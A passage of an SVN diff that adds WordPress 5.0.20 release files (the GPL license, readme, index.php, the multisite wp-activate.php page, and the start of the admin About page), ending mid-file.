+				<file>src/wp-includes/pluggable-deprecated.php</file>
+				<file>src/wp-includes/rss.php</file>
+
+				<directory suffix=".php">src/wp-includes/ID3</directory>
+				<directory suffix=".php">src/wp-includes/IXR</directory>
+				<directory suffix=".php">src/wp-includes/random_compat</directory>
+				<directory suffix=".php">src/wp-includes/Requests</directory>
+				<directory suffix=".php">src/wp-includes/SimplePie</directory>
+				<directory suffix=".php">src/wp-includes/Text</directory>
+			</exclude>
+		</whitelist>
+	</filter>
+</phpunit>
Index: /tags/5.0.20/src/index.php
===================================================================
--- /tags/5.0.20/src/index.php	(revision 56912)
+++ /tags/5.0.20/src/index.php	(revision 56912)
@@ -0,0 +1,17 @@
+<?php
+/**
+ * Front to the WordPress application. This file doesn't do anything, but loads
+ * wp-blog-header.php which does and tells WordPress to load the theme.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Tells WordPress to load the WordPress theme and output it.
+ *
+ * @var bool
+ */
+define('WP_USE_THEMES', true);
+
+/** Loads the WordPress Environment and Template */
+require( dirname( __FILE__ ) . '/wp-blog-header.php' );
Index: /tags/5.0.20/src/license.txt
===================================================================
--- /tags/5.0.20/src/license.txt	(revision 56912)
+++ /tags/5.0.20/src/license.txt	(revision 56912)
@@ -0,0 +1,385 @@
+WordPress - Web publishing software
+
+Copyright 2011-2019 by the contributors
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+
+This program incorporates work covered by the following copyright and
+permission notices:
+
+  b2 is (c) 2001, 2002 Michel Valdrighi - m@tidakada.com -
+  http://tidakada.com
+
+  Wherever third party code has been used, credit has been given in the code's
+  comments.
+
+  b2 is released under the GPL
+
+and
+
+  WordPress - Web publishing software
+
+  Copyright 2003-2010 by the contributors
+
+  WordPress is released under the GPL
+
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
+
+WRITTEN OFFER
+
+The source code for any program binaries or compressed scripts that are
+included with WordPress can be freely obtained at the following URL:
+
+	https://wordpress.org/download/source/
Index: /tags/5.0.20/src/readme.html
===================================================================
--- /tags/5.0.20/src/readme.html	(revision 56912)
+++ /tags/5.0.20/src/readme.html	(revision 56912)
@@ -0,0 +1,98 @@
+<!DOCTYPE html>
+<html>
+<head>
+	<meta name="viewport" content="width=device-width" />
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title>WordPress &#8250; ReadMe</title>
+	<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
+</head>
+<body>
+<h1 id="logo">
+	<a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a>
+</h1>
+<p style="text-align: center">Semantic Personal Publishing Platform</p>
+
+<h2>First Things First</h2>
+<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I&#8217;m proud to be a part of. Thousands of hours have gone into WordPress, and we&#8217;re dedicated to making it better every day. Thank you for making it part of your world.</p>
+<p style="text-align: right">&#8212; Matt Mullenweg</p>
+
+<h2>Installation: Famous 5-minute install</h2>
+<ol>
+	<li>Unzip the package in an empty directory and upload everything.</li>
+	<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
+		<ol>
+			<li>If for some reason this doesn&#8217;t work, don&#8217;t worry. It doesn&#8217;t work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
+			<li>Save the file as <code>wp-config.php</code> and upload it.</li>
+			<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
+		</ol>
+	</li>
+	<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
+	<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
+	<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on &#8220;Profile&#8221; to change the password.</li>
+</ol>
+
+<h2>Updating</h2>
+<h3>Using the Automatic Updater</h3>
+<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
+<ol>
+	<li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
+	<li>You wanted more, perhaps? That&#8217;s it!</li>
+</ol>
+
+<h3>Updating Manually</h3>
+<ol>
+	<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
+	<li>Delete your old WordPress files, saving ones you&#8217;ve modified.</li>
+	<li>Upload the new files.</li>
+	<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
+</ol>
+
+<h2>Migrating from other systems</h2>
+<p>WordPress can <a href="https://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
+
+<h2>System Requirements</h2>
+<ul>
+	<li><a href="https://secure.php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
+	<li><a href="https://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
+</ul>
+
+<h3>Recommendations</h3>
+<ul>
+	<li><a href="https://secure.php.net/">PHP</a> version <strong>7.2</strong> or higher.</li>
+	<li><a href="https://www.mysql.com/">MySQL</a> version <strong>5.6</strong> or higher.</li>
+	<li>The <a href="https://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
+	<li><a href="https://wordpress.org/news/2016/12/moving-toward-ssl/">HTTPS</a> support.</li>
+	<li>A link to <a href="https://wordpress.org/">wordpress.org</a> on your site.</li>
+</ul>
+
+<h2>Online Resources</h2>
+<p>If you have any questions that aren&#8217;t addressed in this document, please take advantage of WordPress&#8217; numerous online resources:</p>
+<dl>
+	<dt><a href="https://codex.wordpress.org/">The WordPress Codex</a></dt>
+		<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
+	<dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt>
+		<dd>This is where you&#8217;ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
+	<dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt>
+		<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
+	<dt><a href="https://wordpress.org/support/">WordPress Support Forums</a></dt>
+		<dd>If you&#8217;ve looked everywhere and still can&#8217;t find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
+	<dt><a href="https://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
+		<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
+</dl>
+
+<h2>Final Notes</h2>
+<ul>
+	<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/">Support Forums</a>.</li>
+	<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="https://developer.wordpress.org/plugins/">Plugin Developer Handbook</a>. You shouldn&#8217;t modify any of the core code.</li>
+</ul>
+
+<h2>Share the Love</h2>
+<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
+
+<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
+
+<h2>License</h2>
+<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
+
+</body>
+</html>
Index: /tags/5.0.20/src/wp-activate.php
===================================================================
--- /tags/5.0.20/src/wp-activate.php	(revision 56912)
+++ /tags/5.0.20/src/wp-activate.php	(revision 56912)
@@ -0,0 +1,205 @@
+<?php
+/**
+ * Confirms that the activation key that is sent in an email after a user signs
+ * up for a new site matches the key for that user and then displays confirmation.
+ *
+ * @package WordPress
+ */
+
+define( 'WP_INSTALLING', true );
+
+/** Sets up the WordPress Environment. */
+require( dirname(__FILE__) . '/wp-load.php' );
+
+require( dirname( __FILE__ ) . '/wp-blog-header.php' );
+
+if ( !is_multisite() ) {
+	wp_redirect( wp_registration_url() );
+	die();
+}
+
+$valid_error_codes = array( 'already_active', 'blog_taken' );
+
+list( $activate_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
+$activate_cookie = 'wp-activate-' . COOKIEHASH;
+
+$key    = '';
+$result = null;
+
+if ( isset( $_GET['key'] ) && isset( $_POST['key'] ) && $_GET['key'] !== $_POST['key'] ) {
+	wp_die( __( 'A key value mismatch has been detected. Please follow the link provided in your activation email.' ), __( 'An error occurred during the activation' ), 400 );
+} elseif ( ! empty( $_GET['key'] ) ) {
+	$key = $_GET['key'];
+} elseif ( ! empty( $_POST['key'] ) ) {
+	$key = $_POST['key'];
+}
+
+if ( $key ) {
+	$redirect_url = remove_query_arg( 'key' );
+
+	if ( $redirect_url !== remove_query_arg( false ) ) {
+		setcookie( $activate_cookie, $key, 0, $activate_path, COOKIE_DOMAIN, is_ssl(), true );
+		wp_safe_redirect( $redirect_url );
+		exit;
+	} else {
+		$result = wpmu_activate_signup( $key );
+	}
+}
+
+if ( $result === null && isset( $_COOKIE[ $activate_cookie ] ) ) {
+	$key    = $_COOKIE[ $activate_cookie ];
+	$result = wpmu_activate_signup( $key );
+	setcookie( $activate_cookie, ' ', time() - YEAR_IN_SECONDS, $activate_path, COOKIE_DOMAIN, is_ssl(), true );
+}
+
+if ( $result === null || ( is_wp_error( $result ) && 'invalid_key' === $result->get_error_code() ) ) {
+	status_header( 404 );
+} elseif ( is_wp_error( $result ) ) {
+	$error_code = $result->get_error_code();
+
+	if ( ! in_array( $error_code, $valid_error_codes ) ) {
+		status_header( 400 );
+	}
+}
+
+nocache_headers();
+
+if ( is_object( $wp_object_cache ) )
+	$wp_object_cache->cache_enabled = false;
+
+// Fix for page title
+$wp_query->is_404 = false;
+
+/**
+ * Fires before the Site Activation page is loaded.
+ *
+ * @since 3.0.0
+ */
+do_action( 'activate_header' );
+
+/**
+ * Adds an action hook specific to this page.
+ *
+ * Fires on {@see 'wp_head'}.
+ *
+ * @since MU (3.0.0)
+ */
+function do_activate_header() {
+	/**
+	 * Fires before the Site Activation page is loaded.
+	 *
+	 * Fires on the {@see 'wp_head'} action.
+     *
+     * @since 3.0.0
+     */
+    do_action( 'activate_wp_head' );
+}
+add_action( 'wp_head', 'do_activate_header' );
+
+/**
+ * Loads styles specific to this page.
+ *
+ * @since MU (3.0.0)
+ */
+function wpmu_activate_stylesheet() {
+	?>
+	<style type="text/css">
+		form { margin-top: 2em; }
+		#submit, #key { width: 90%; font-size: 24px; }
+		#language { margin-top: .5em; }
+		.error { background: #f66; }
+		span.h3 { padding: 0 8px; font-size: 1.3em; font-weight: bold; }
+	</style>
+	<?php
+}
+add_action( 'wp_head', 'wpmu_activate_stylesheet' );
+add_action( 'wp_head', 'wp_sensitive_page_meta' );
+
+get_header( 'wp-activate' );
+?>
+
+<div id="signup-content" class="widecolumn">
+	<div class="wp-activate-container">
+	<?php if ( ! $key ) { ?>
+
+		<h2><?php _e('Activation Key Required') ?></h2>
+		<form name="activateform" id="activateform" method="post" action="<?php echo network_site_url('wp-activate.php'); ?>">
+			<p>
+			    <label for="key"><?php _e('Activation Key:') ?></label>
+			    <br /><input type="text" name="key" id="key" value="" size="50" />
+			</p>
+			<p class="submit">
+			    <input id="submit" type="submit" name="Submit" class="submit" value="<?php esc_attr_e('Activate') ?>" />
+			</p>
+		</form>
+
+	<?php } else {
+		if ( is_wp_error( $result ) && in_array( $result->get_error_code(), $valid_error_codes ) ) {
+			$signup = $result->get_error_data();
+			?>
+			<h2><?php _e( 'Your account is now active!' ); ?></h2>
+			<?php
+			echo '<p class="lead-in">';
+			if ( $signup->domain . $signup->path == '' ) {
+				printf(
+				/* translators: 1: login URL, 2: username, 3: user email, 4: lost password URL */
+					__( 'Your account has been activated. You may now <a href="%1$s">log in</a> to the site using your chosen username of &#8220;%2$s&#8221;. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ),
+					network_site_url( 'wp-login.php', 'login' ),
+					$signup->user_login,
+					$signup->user_email,
+					wp_lostpassword_url()
+				);
+			} else {
+				printf(
+				/* translators: 1: site URL, 2: username, 3: user email, 4: lost password URL */
+					__( 'Your site at %1$s is active. You may now log in to your site using your chosen username of &#8220;%2$s&#8221;. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ),
+					sprintf( '<a href="http://%1$s">%1$s</a>', $signup->domain ),
+					$signup->user_login,
+					$signup->user_email,
+					wp_lostpassword_url()
+				);
+			}
+			echo '</p>';
+		} elseif ( $result === null || is_wp_error( $result ) ) {
+			?>
+			<h2><?php _e( 'An error occurred during the activation' ); ?></h2>
+			<?php if ( is_wp_error( $result ) ) : ?>
+				<p><?php echo $result->get_error_message(); ?></p>
+			<?php endif; ?>
+			<?php
+		} else {
+			$url = isset( $result['blog_id'] ) ? get_home_url( (int) $result['blog_id'] ) : '';
+			$user = get_userdata( (int) $result['user_id'] );
+			?>
+			<h2><?php _e('Your account is now active!'); ?></h2>
+
+			<div id="signup-welcome">
+				<p><span class="h3"><?php _e('Username:'); ?></span> <?php echo $user->user_login ?></p>
+				<p><span class="h3"><?php _e('Password:'); ?></span> <?php echo $result['password']; ?></p>
+			</div>
+
+			<?php if ( $url && $url != network_home_url( '', 'http' ) ) :
+				switch_to_blog( (int) $result['blog_id'] );
+				$login_url = wp_login_url();
+				restore_current_blog();
+				?>
+				<p class="view"><?php
+					/* translators: 1: site URL, 2: login URL */
+					printf( __( 'Your account is now activated. <a href="%1$s">View your site</a> or <a href="%2$s">Log in</a>' ), $url, esc_url( $login_url ) );
+				?></p>
+			<?php else: ?>
+				<p class="view"><?php
+					/* translators: 1: login URL, 2: network home URL */
+					printf( __( 'Your account is now activated. <a href="%1$s">Log in</a> or go back to the <a href="%2$s">homepage</a>.' ), network_site_url( 'wp-login.php', 'login' ), network_home_url() );
+				?></p>
+			<?php endif;
+		}
+	}
+	?>
+	</div>
+</div>
+<script type="text/javascript">
+	var key_input = document.getElementById('key');
+	key_input && key_input.focus();
+</script>
+<?php get_footer( 'wp-activate' );
Index: /tags/5.0.20/src/wp-admin/about.php
===================================================================
--- /tags/5.0.20/src/wp-admin/about.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/about.php	(revision 56912)
@@ -0,0 +1,957 @@
+<?php
+/**
+ * About This Version administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_enqueue_script( 'underscore' );
+
+/* translators: Page title of the About WordPress page in the admin. */
+$title = _x( 'About', 'page title' );
+
+list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );
+
+wp_enqueue_style( 'wp-block-library' );
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+	<div class="wrap about-wrap full-width-layout">
+		<h1><?php printf( __( 'Welcome to WordPress&nbsp;%s' ), $display_version ); ?></h1>
+
+		<p class="about-text"><?php printf( __( 'Thank you for updating to the latest version! WordPress %s introduces a robust new content creation experience.' ), $display_version ); ?></p>
+
+		<?php if (
+			// Was the Gutenberg plugin installed before upgrading to 5.0.x?
+			get_option( 'upgrade_500_was_gutenberg_active' ) == '1'  &&
+			current_user_can( 'activate_plugins' ) &&
+			// Has it not been reactivated since?
+			is_plugin_inactive( 'gutenberg/gutenberg.php' ) &&
+			// Is it still installed?
+			file_exists( WP_PLUGIN_DIR . '/gutenberg/gutenberg.php' )
+		) : ?>
+			<div class="about-text" style="font-style:italic;">
+				<?php
+				printf(
+					/* translators: 1: WordPress version, 2: HTML start tag of link, 3: HTML end tag of link */
